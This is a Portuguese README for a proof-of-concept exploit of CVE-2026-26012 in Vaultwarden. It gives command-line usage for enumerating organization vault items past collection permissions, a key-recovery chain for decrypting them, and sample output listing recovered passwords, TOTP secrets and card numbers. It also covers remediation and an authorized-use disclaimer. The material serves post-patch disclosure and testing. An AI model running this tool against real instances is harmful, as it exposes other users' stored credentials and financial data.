
Prova de conceito de exploit para CVE-2026-26012, um controle de acesso quebrado no Vaultwarden que permite que qualquer membro da organização enumere e descriptografe todos os ciphers, contornando as permissões de coleção.
Enumeração Completa de Ciphers Ignorando Permissões de Coleção da Organização
Uma prova de conceito de exploração para CVE-2026-26012, uma vulnerabilidade de controle de acesso quebrado no Vaultwarden (<= 1.35.2) que permite que qualquer membro da organização recupere e descriptografe todos os ciphers dentro da organização, independentemente das permissões de nível de coleção.
🤖 Nota: Este projeto foi desenvolvido com a assistência do Claude 3 Opus. IA foi utilizada para geração de código, estrutura arquitetural e documentação. Todas as saídas foram revisadas e testadas manualmente para garantia de qualidade.
| CVE | CVE-2026-26012 |
| Advisory | GHSA-h265-g7rm-h337 |
| Afetado | Vaultwarden ≤ 1.35.2 |
| Corrigido em | 1.35.3 |
| CVSS 3.1 | 6.5 (Médio) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| CWE | CWE-863 — Autorização Incorreta |
| Crédito | Descoberto por @odgrso, corrigido por @BlackDex |
O endpoint da API GET /api/ciphers/organization-details é acessível a qualquer membro da organização. Internamente, ele chama Cipher::find_by_org que retorna todos os ciphers da organização e, em seguida, os serve com CipherSyncType::Organization sem aplicar controle de acesso de nível de coleção.
Como todos os ciphers da organização compartilham a mesma chave de criptografia da organização (que todo membro recebe ao ingressar), os ciphers vazados podem ser totalmente descriptografados no lado do cliente.
Membro regular da organização (restrito à coleção "Public")
│
├── GET /api/sync → 5 ciphers (correto)
│
└── GET /api/ciphers/organization-details
└──→ 47 ciphers (TODOS os ciphers da org — BUG)
└──→ 42 ciphers de coleções restritas (VAZADOS)
└──→ Descriptografáveis com a chave da org que o membro já possui
.
├── README.md # Este arquivo
├── poc_cve_2026_26012.py # Fase 1: Enumeração de ciphers & detecção de vazamento
├── poc_decrypt.py # Fase 2: Recuperação da chave da org & descriptografia de ciphers
└── LICENSE
cryptography (para descriptografia da Fase 2)argon2-cffi (apenas se a instância alvo usar KDF Argon2id)pip install cryptography
pip install argon2-cffi # opcional
Detecta se a instância é vulnerável comparando os ciphers retornados pelo endpoint normal /api/sync versus o endpoint vulnerável /api/ciphers/organization-details.
# Autentique via navegador (SSO + 2FA suportados) e, em seguida, passe o token Bearer
python3 poc_cve_2026_26012.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--org-id "ORG-UUID" \
--output results.json
# Token Bearer (recomendado — funciona com SSO + 2FA)
--token "eyJhbGciOi..."
# Cookie de sessão
--cookie "VAULTWARDEN_SESSION=abc123..."
# Cabeçalho Cookie bruto (vários cookies)
--cookie-header "session=abc; token=xyz"
# Login direto com senha (apenas SEM SSO, SEM 2FA)
--email [email protected] --password "MasterPassword"
Como extrair seu token Bearer:
/api/... e copie o valor do cabeçalho Authorization--no-verify-ssl # Ignorar verificação SSL (certificados autoassinados)
--show-all # Também exibir ciphers legitimamente acessíveis
--max-display 50 # Número máximo de ciphers vazados a exibir (padrão: 20)
--output results.json # Exportar resultados completos para JSON
Recupera a chave de criptografia da organização e descriptografa todos os ciphers vazados da Fase 1.
python3 poc_decrypt.py \
--url https://vaultwarden.example.com \
--token "eyJhbGciOi..." \
--email [email protected] \
--master-password "YourMasterPassword" \
--org-id "ORG-UUID" \
--leaked-json results.json \
--output decrypted.json
Nota:
--master-passwordé sua senha mestra do Vaultwarden, usada localmente para derivar a cadeia de chaves de descriptografia. Ela nunca é enviada pela rede. O--tokenlida com a autenticação da API.
Solução de problemas: Se a descriptografia da chave falhar, adicione
--debugpara ver valores intermediários em cada etapa. O script tenta automaticamente 5 estratégias (HKDF moderno, HMAC legado, chave bruta e variantes de HMAC-skip) para lidar com diferentes idades de conta e configurações.
Se você já tiver a chave da organização de 64 bytes (128 caracteres hexadecimais):
python3 poc_decrypt.py \
--org-key-hex "aabbccdd...128_hex_chars..." \
--leaked-json results.json \
--output decrypted.json
[*] === Cadeia de Recuperação de Chaves ===
[1/6] Buscando parâmetros KDF...
KDF: PBKDF2-SHA256, iterações: 600000
[2/6] Derivando chave mestra...
[3/6] Esticando chave mestra (HKDF-Expand)...
[4/6] Buscando chaves criptografadas de /api/sync...
Organização: ACME Corp
[5/6] Descriptografando chave simétrica do usuário...
[6/6] Descriptografando chave privada RSA → Chave da organização...
[+] Chave da organização recuperada com sucesso!
[*] Descriptografando 42 cipher(s)...
============================================================
RESULTADOS DA DESCRIPTOGRAFIA
============================================================
Total: 42
Descriptografados: 42
Erros: 0
RESUMO DE IMPACTO
Senhas recuperadas: 35
Segredos TOTP recuperados: 12
Números de cartões recuperados: 3
============================================================
Todo membro da organização já possui a chave simétrica da organização, criptografada com sua chave pública RSA. A cadeia de descriptografia é:
Senha Mestra + Email
│ PBKDF2-SHA256 ou Argon2id
▼
Chave Mestra (32 bytes)
│ HKDF-Expand-SHA256
▼
Chave Esticada: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (descriptografa profile.key)
▼
Chave Simétrica do Usuário: encKey (32B) ║ macKey (32B)
│ AES-256-CBC (descriptografa profile.privateKey)
▼
Chave Privada RSA (PKCS#8 DER de 2048 bits)
│ RSA-OAEP-SHA1 (descriptografa profile.organizations[].key)
▼
Chave da Organização: encKey (32B) ║ macKey (32B)
│ AES-256-CBC + HMAC-SHA256
▼
Dados de cipher descriptografados
No modelo Bitwarden/Vaultwarden, todos os ciphers de uma organização compartilham a mesma chave de criptografia. O controle de acesso baseado em coleções é aplicado apenas no lado do servidor — o modelo criptográfico não impõe limites de coleção. Qualquer membro que tenha a chave da org pode descriptografar qualquer cipher da organização. Este CVE contorna o filtro do lado do servidor, expondo todos os ciphers a qualquer membro.
| Tipo de Cipher | Campos Descriptografados |
|---|---|
| Login | nome de usuário, senha, segredo TOTP, URIs |
| Cartão | titular, número, CVV, validade |
| Identidade | nome, SSN, passaporte, endereço, telefone, e-mail |
| Nota Segura | conteúdo completo da nota |
| Todos os tipos | campos personalizados, metadados de anexos |
Atualize o Vaultwarden para 1.35.3 ou posterior imediatamente.
docker pull vaultwarden/server:1.35.3
Após a correção, execute a Fase 1 novamente para confirmar a correção — a ferramenta deve reportar NOT VULNERABLE.
Se você estava executando uma versão vulnerável em uma organização multiusuário:
/api/ciphers/organization-detailsEste PoC é publicado após a vulnerabilidade ter sido divulgada publicamente e corrigida:
Este PoC não existiria sem o trabalho dos pesquisadores de segurança originais e mantenedores:
| Papel | Quem | Contribuição |
|---|---|---|
| Relator da Vulnerabilidade | @odgrso | Descobriu e divulgou responsavelmente o CVE-2026-26012 |
| Desenvolvedor da Remediação | @BlackDex | Desenvolveu e publicou a correção no Vaultwarden 1.35.3 |
| Mantenedor do Projeto | @dani-garcia | Criador do Vaultwarden, coordenou o advisory e o lançamento |
Obrigado por manter o ecossistema de código aberto mais seguro.
Esta prova de conceito é fornecida estritamente para testes de segurança autorizados e fins educacionais. Você deve ter autorização escrita explícita antes de testar qualquer sistema que não possua. O acesso não autorizado a sistemas de computador é ilegal sob o CFAA (EUA), Computer Misuse Act (Reino Unido) e leis equivalentes em todo o mundo. Os autores não assumem responsabilidade por uso indevido.
MIT — Veja LICENSE.